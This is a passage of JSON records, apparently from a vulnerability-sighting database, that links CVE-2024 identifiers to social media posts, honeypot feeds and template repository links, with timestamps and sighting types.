"b64ac53e-d1dd-409e-a67e-8d17a1786781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114007506812321016", "content": "", "creation_timestamp": "2025-02-15T10:48:18.832013Z"}, {"uuid": "e144aa42-67bc-4d9e-a505-6bd7fc61a34f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3li7le566hk2m", "content": "", "creation_timestamp": "2025-02-15T11:09:48.328614Z"}, {"uuid": "972bc308-506a-4d83-83a8-2be0259105a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12137", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkpysb6jwf2e", "content": "", "creation_timestamp": "2025-03-19T10:43:19.112385Z"}, {"uuid": "37f5a5a8-404c-4e76-a920-00bd97e1cf8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-07)", "content": "", "creation_timestamp": "2025-03-07T00:00:00.000000Z"}, {"uuid": "2e152e2f-abde-4796-bafc-06075bbfb00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12136", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkpysbbwln2n", "content": "", "creation_timestamp": "2025-03-19T10:43:19.724519Z"}, {"uuid": "7b5daca9-c13b-4b00-9337-4bf695858198", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3liyt4vnf6o42", "content": "", "creation_timestamp": "2025-02-25T12:08:10.000653Z"}, {"uuid": "94970beb-db1f-4c2e-b615-5335fed0ab88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3liui36x3bc22", "content": "", "creation_timestamp": "2025-02-23T18:37:04.901190Z"}, {"uuid": "01f1c3b9-3ed2-4c5f-a705-f3348a592788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljqpb4czra2v", "content": "", "creation_timestamp": "2025-03-07T00:00:09.984922Z"}, {"uuid": "302fc86e-6528-4e60-a6f3-a89156a62912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/114008420002784130", "content": "", "creation_timestamp": "2025-02-15T14:40:32.608538Z"}, {"uuid": "4b2b6cb9-ac15-484b-94a1-53c965ee4100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3li7x575itk25", "content": "", "creation_timestamp": "2025-02-15T14:40:40.297992Z"}, {"uuid": "2c20f4b9-8e5b-4142-a33f-946c9ce52b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3liawfnrvbv2e", "content": "", "creation_timestamp": "2025-02-16T00:00:12.056300Z"}, {"uuid": "57d8ede0-2215-4bd7-a726-453958237c91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lic6mzliav25", "content": "", "creation_timestamp": "2025-02-16T12:00:06.131124Z"}, {"uuid": "609925d1-1587-4ad4-a04d-7d88fa8004e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/tomcat/statuses/114013581624577454", "content": "", "creation_timestamp": "2025-02-16T12:33:12.691661Z"}, {"uuid": "b88a1d46-c680-482d-954b-7d620c9909e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3licpct7k6m2w", "content": "", "creation_timestamp": "2025-02-16T16:58:37.392749Z"}, {"uuid": "64c1abad-60f2-42ac-a201-c2694356f536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ljquc47brf2p", "content": "", "creation_timestamp": "2025-03-07T01:30:10.188658Z"}, {"uuid": "570f1d18-287a-4d44-b660-8410d2455edc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-13)", "content": "", "creation_timestamp": "2025-03-13T00:00:00.000000Z"}, {"uuid": "d4cffe3c-5215-4f74-be80-3325d5a3a5dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ljquc47brf2p", "content": "", "creation_timestamp": "2025-03-07T01:30:10.264207Z"}, {"uuid": "fb3ae83c-91f6-4e68-946b-4e31710178e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12824", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12824.yaml", "content": "", "creation_timestamp": "2025-03-04T11:32:09.000000Z"}, {"uuid": "3d91550a-09a2-4ab3-b2ce-0c678305c717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ljnutmilca2v", "content": "", "creation_timestamp": "2025-03-05T21:02:00.584210Z"}, {"uuid": "b1cca3eb-b2ba-4b87-b2f6-82c3e129ce8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-14)", "content": "", "creation_timestamp": "2025-03-14T00:00:00.000000Z"}, {"uuid": "77fd273d-522f-4484-a039-8e1b0fed1b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/code/cves/2024/CVE-2024-12356.yaml", "content": "", "creation_timestamp": "2025-02-21T09:10:50.000000Z"}, {"uuid": "687a4cfe-72fa-4f57-8b0c-e27ad4c8be09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12920", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkqfwsjo4w2x", "content": "", "creation_timestamp": "2025-03-19T14:38:29.724215Z"}, {"uuid": "12ec908a-6a76-42ef-a429-773c0f0e467c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-25)", "content": "", "creation_timestamp": "2025-03-25T00:00:00.000000Z"}, {"uuid": "145472d5-6ea8-4b34-ac86-f964c9676fb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-0cbbcc54-2537dcbcd7677eb4", "content": "", "creation_timestamp": "2025-02-17T09:58:14.586455Z"}, {"uuid": "6b6e801f-174a-49f1-96de-42c0578a71dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-0cbbcc54-2537dcbcd7677eb4", "content": "", "creation_timestamp": "2025-02-17T09:58:14.647245Z"}, {"uuid": "537adb6a-72d6-4011-afac-28689c469701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3liekvexaos2r", "content": "", "creation_timestamp": "2025-02-17T10:44:53.558439Z"}, {"uuid": "d9d08beb-79b8-4921-a60c-9eff3bd37ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lifkmly4il2z", "content": "", "creation_timestamp": "2025-02-17T20:12:35.880377Z"}, {"uuid": "d29da44f-043f-440d-ae6a-dbec681ca2ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12425", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ligbe4kacs2n", "content": "", "creation_timestamp": "2025-02-18T02:59:27.496561Z"}, {"uuid": "d7c1ec82-7548-47eb-89eb-2f6440d16e43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12426", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ligbe4kacs2n", "content": "", "creation_timestamp": "2025-02-18T02:59:27.597200Z"}, {"uuid": "98f597de-b15a-408b-9e67-13b993d4342f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-18T02:34:31.000000Z"}, {"uuid": "d1e86458-d060-4bf1-9a48-4724205c59f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lige5mhsjc2h", "content": "", "creation_timestamp": "2025-02-18T03:49:37.023002Z"}, {"uuid": "0e1da964-1da0-4d89-8bef-48398975f382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lige5mhsjc2h", "content": "", "creation_timestamp": "2025-02-18T03:49:37.091889Z"}, {"uuid": "75d63161-f140-491a-b611-5c7c3d8556fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3ligecn6xl226", "content": "", "creation_timestamp": "2025-02-18T03:52:23.462134Z"}, {"uuid": "a451c8ba-6cef-4bfa-96f9-3001b7fe29e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12562", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ligf4y4msc2n", "content": "", "creation_timestamp": "2025-02-18T04:07:03.704056Z"}, {"uuid": "05f99610-3bdd-4b6b-ad93-41d481670cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ligixae7le2y", "content": "", "creation_timestamp": "2025-02-18T05:15:25.206248Z"}, {"uuid": "d9e6a7e2-819f-4bb4-a3d1-869a60b65c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12525", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ligixcvgzg2p", "content": "", "creation_timestamp": "2025-02-18T05:15:27.575549Z"}, {"uuid": "72aef3dc-e4e1-4cba-a893-8fd2780ff482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12813", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ligixfaism2t", "content": "", "creation_timestamp": "2025-02-18T05:15:30.002955Z"}, {"uuid": "44c5ed8d-e1d6-495b-98fa-7a1846a2f91f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ligsfz65zp2z", "content": "", "creation_timestamp": "2025-02-18T08:04:45.019342Z"}, {"uuid": "c876b46a-069c-4a53-a1ef-913abb56fc85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ligsfz65zp2z", "content": "", "creation_timestamp": "2025-02-18T08:04:45.100742Z"}, {"uuid": "d30cc1b2-8029-40df-bbb3-34c58fdf96ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ligsjkuvha2v", "content": "", "creation_timestamp": "2025-02-18T08:06:43.903127Z"}, {"uuid": "99f43724-7df7-4098-b921-912561d017a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ligsjkuvha2v", "content": "", "creation_timestamp": "2025-02-18T08:06:43.978999Z"}, {"uuid": "549cd92c-87e7-4171-b3bf-99669881b6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3ligvlwbngk2c", "content": "", "creation_timestamp": "2025-02-18T09:01:44.356891Z"}, {"uuid": "441f29ad-cdec-4580-a741-7ffdc1760234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3ligvlwbngk2c", "content": "", "creation_timestamp": "2025-02-18T09:01:44.432767Z"}, {"uuid": "137d7d71-fec1-42fc-ac15-3e24d6a7566a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ligweenowa2o", "content": "", "creation_timestamp": "2025-02-18T09:15:24.382691Z"}, {"uuid": "424ea907-125c-49a4-a76e-7338175213bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-17)", "content": "", "creation_timestamp": "2025-02-17T00:00:00.000000Z"}, {"uuid": "c64e9288-858b-4e78-a104-af10416cb809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114086542206132230", "content": "", "creation_timestamp": "2025-03-01T09:48:03.700130Z"}, {"uuid": "b91e0d34-f5ae-4afb-b36c-34dca1d86732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12544", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114086542311660523", "content": "", "creation_timestamp": "2025-03-01T09:48:04.666651Z"}, {"uuid": "9ce05e40-a730-428e-bde6-d4589ba2d9a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12563", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114185635690153098", "content": "", "creation_timestamp": "2025-03-18T21:48:50.242952Z"}, {"uuid": "c9be62d6-2f32-4082-afb3-ab62b7ee228c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-19)", "content": "", "creation_timestamp": "2025-03-19T00:00:00.000000Z"}, {"uuid": "04e1de75-93a9-4e4d-98c2-0e2d601f1b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12425", "type": "seen", "source": "https://infosec.exchange/users/securestep9/statuses/114024085695036829", "content": "", "creation_timestamp": "2025-02-18T10:26:00.096156Z"}, {"uuid": "f84d8e27-7ad4-486e-bdf1-1f2e1f1ccb1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12426", "type": "seen", "source": "https://infosec.exchange/users/securestep9/statuses/114024085695036829", "content": "", "creation_timestamp": "2025-02-18T10:26:00.160937Z"}, {"uuid": "73f1804f-6666-421a-9423-9062c1b4069b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114024494206744752", "content": "", "creation_timestamp": "2025-02-18T10:48:25.670667Z"}, {"uuid": "4e0b862e-dc58-4ed5-9a55-aa857ae5ed35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/stringsvsatoms.bsky.social/post/3lih3saq7hg26", "content": "", "creation_timestamp": "2025-02-18T10:52:38.904512Z"}, {"uuid": "a72f5a0c-6e6a-4e61-be55-7566bb75e848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/stringsvsatoms.bsky.social/post/3lih3saq7hg26", "content": "", "creation_timestamp": "2025-02-18T10:52:38.986781Z"}, {"uuid": "e4018742-3280-4c8f-a3fe-46ea255feba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lihonr4tqw2i", "content": "", "creation_timestamp": "2025-02-18T16:30:09.759806Z"}, {"uuid": "5cf97306-7dab-453f-b89a-352f843ae281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lihsiy75nb2g", "content": "", "creation_timestamp": "2025-02-18T17:39:04.468907Z"}, {"uuid": "5a05eec7-0b86-46c6-8a1b-a690c83fb39b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lihsiy75nb2g", "content": "", "creation_timestamp": "2025-02-18T17:39:04.561493Z"}, {"uuid": "de0b1d9c-bfdc-46ce-9dfb-cc813d1aed63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3lihvdfgvbs2v", "content": "", "creation_timestamp": "2025-02-18T18:29:40.719360Z"}, {"uuid": "e7aec16d-6667-484b-9139-4faa2b69266e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3lii4tqjp4c2v", "content": "", "creation_timestamp": "2025-02-18T20:44:04.942887Z"}, {"uuid": "7a44ec87-6167-4bd7-bf83-17785c2896f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3lii4tqjp4c2v", "content": "", "creation_timestamp": "2025-02-18T20:44:05.007315Z"}, {"uuid": "9fdd0233-3f83-495e-a2fe-2bcc7aeff8ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lii5urzcac2i", "content": "", "creation_timestamp": "2025-02-18T21:02:31.052165Z"}, {"uuid": "79a94768-6667-4cc2-8c7d-70b56565879d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3liihtltglb2k", "content": "", "creation_timestamp": "2025-02-19T00:00:49.331179Z"}, {"uuid": "d5c2cb17-def4-447f-be99-620b68976909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-19T02:34:22.000000Z"}, {"uuid": "8c537602-6d5d-4039-991f-0d33d7f59230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lij4skwnyj23", "content": "", "creation_timestamp": "2025-02-19T06:16:02.971793Z"}, {"uuid": "55cf6bb3-1bd1-42aa-8b37-c259b340e657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lijcz4wvwq23", "content": "", "creation_timestamp": "2025-02-19T08:07:06.086795Z"}, {"uuid": "c36574d9-5bc5-4f10-9a1d-28d33232a2e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12069", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lijdidpgu32t", "content": "", "creation_timestamp": "2025-02-19T08:15:35.585183Z"}, {"uuid": "6c38594d-a7c5-44b0-93b8-707f904b3dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12339", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lijdigmvma2o", "content": "", "creation_timestamp": "2025-02-19T08:15:39.117456Z"}, {"uuid": "2aaa3040-c718-4b1c-8b2b-6516b617a7b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12522", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lijdiiplye2g", "content": "", "creation_timestamp": "2025-02-19T08:15:40.753300Z"}, {"uuid": "77f2a033-73ea-4f6b-9edb-c564070aa458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3livwjlrvma22", "content": "", "creation_timestamp": "2025-02-24T08:28:15.502913Z"}, {"uuid": "09c7cc86-69c4-4e4c-a465-34caf6c9c067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3livwjlrvma22", "content": "", "creation_timestamp": "2025-02-24T08:28:15.572998Z"}, {"uuid": "9b5c745c-740f-464a-b691-fc15dc0bab5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12920", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114189644467826611", "content": "", "creation_timestamp": "2025-03-19T14:48:18.827240Z"}, {"uuid": "c9fb2119-8503-4bc2-b9a9-bac9a3c41f37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12368", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114066255003294911", "content": "", "creation_timestamp": "2025-02-25T19:48:45.022045Z"}, {"uuid": "f7775670-d7be-4829-b771-eeebc34786e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12119", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljucwvmh7q2e", "content": "", "creation_timestamp": "2025-03-08T10:30:20.328766Z"}, {"uuid": "d21cfcd7-e0cf-42ce-8289-6dbfffd4cd85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12308", "type": "seen", "source": 